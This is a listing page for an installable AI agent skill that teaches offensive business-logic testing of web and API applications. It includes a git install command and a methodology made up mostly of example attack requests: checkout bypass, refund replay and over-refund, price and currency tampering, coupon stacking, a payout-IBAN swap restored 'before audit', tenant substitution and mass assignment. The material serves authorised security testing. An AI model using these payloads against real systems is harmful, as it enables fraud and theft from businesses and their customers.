offensive-business-logic skill
Business logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact.
Is the offensive-business-logic skill safe?
Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.
No findings.
Install the offensive-business-logic skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red mkdir -p ~/.claude/skills cp -r /tmp/Claude-Red/Skills/web/offensive-business-logic ~/.claude/skills/offensive-business-logic
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
Business Logic — Offensive Testing Methodology
Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.
Quick Workflow
- Map every multi-step flow as a state machine (states + allowed transitions + side effects)
- For each transition, ask: who can call it, in what state, with what inputs, how many times
- Probe each axis (state, identity, input, frequency) for assumptions
- Combine flaws — single-axis flaws are usually low severity; chains are critical
- Quantify financial impact per finding (loss-per-attack × scale)
Reconnaissance — Mapping the Logic
Build the State Machine
For each user flow, draw:
- States: cart, pending payment, paid, shipped, refunded, cancelled
- Transitions: which API/UI action, which role, which preconditions
- Side effects: balance change, inventory change, email, webhook
Look for transitions that:
- Skip intermediate states (cart → shipped without paid)
- Are reversible when they shouldn't be (shipped → cart)
- Trigger side effects more than once
- Allow cross-role invocation
Hidden / Internal Endpoints
# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'Workflow / State-Machine Bypass
Skip a Required Step
# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }Replay a One-Time Action
# Refund endpoint without idempotency
POST /api/orders/123/refund # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)State Downgrade
Move a finalized object back to an editable state where mutations have effect:
PUT /api/order/123
{ "status": "draft" } # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }Direct Endpoint Invocation
Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.
# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
for v in GET POST PUT PATCH DELETE OPTIONS; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
echo "$v $path $code"
done
done | grep -v -E ' (401|403|404) 'Price / Quantity / Currency Manipulation
Negative / Zero / Float Quantities
POST /api/cart/add
{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?Hidden Price Fields
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }If the server trusts client-supplied price, you set the price. Test every numeric field — price, total, discount, tax, shipping, subtotal, currency.
Currency Confusion
POST /api/checkout
{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" } # Even better
{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.
Coupon / Discount Logic
# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }Cart Tampering
# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?Refund / Chargeback / Payout Abuse
Refund More Than You Paid
POST /api/orders/123/refund { "amount": 99999 }Refund After Returning Less
Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per order, free items.
Convert Refund to Different Method
POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / soldPayout Account Race
PUT /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before auditIdentity / Tenant / Role Boundary
Role Confusion via Multipart / Parameter Pollution
POST /api/users/me
role=user&role=admin # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-winsTenant ID Substitution in Hidden Field
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's orderMass Assignment / Field Whitelist
PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }Test every field that exists on the model, not just those the form exposes.
Indirect Privilege via Object Linking
POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint
GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data APIRace Conditions on Logic Boundaries
Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: offensive-toctou, offensive-race-condition.)
Single-Packet Multi-Request
# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.More skills from SnailSploit/Claude-Red
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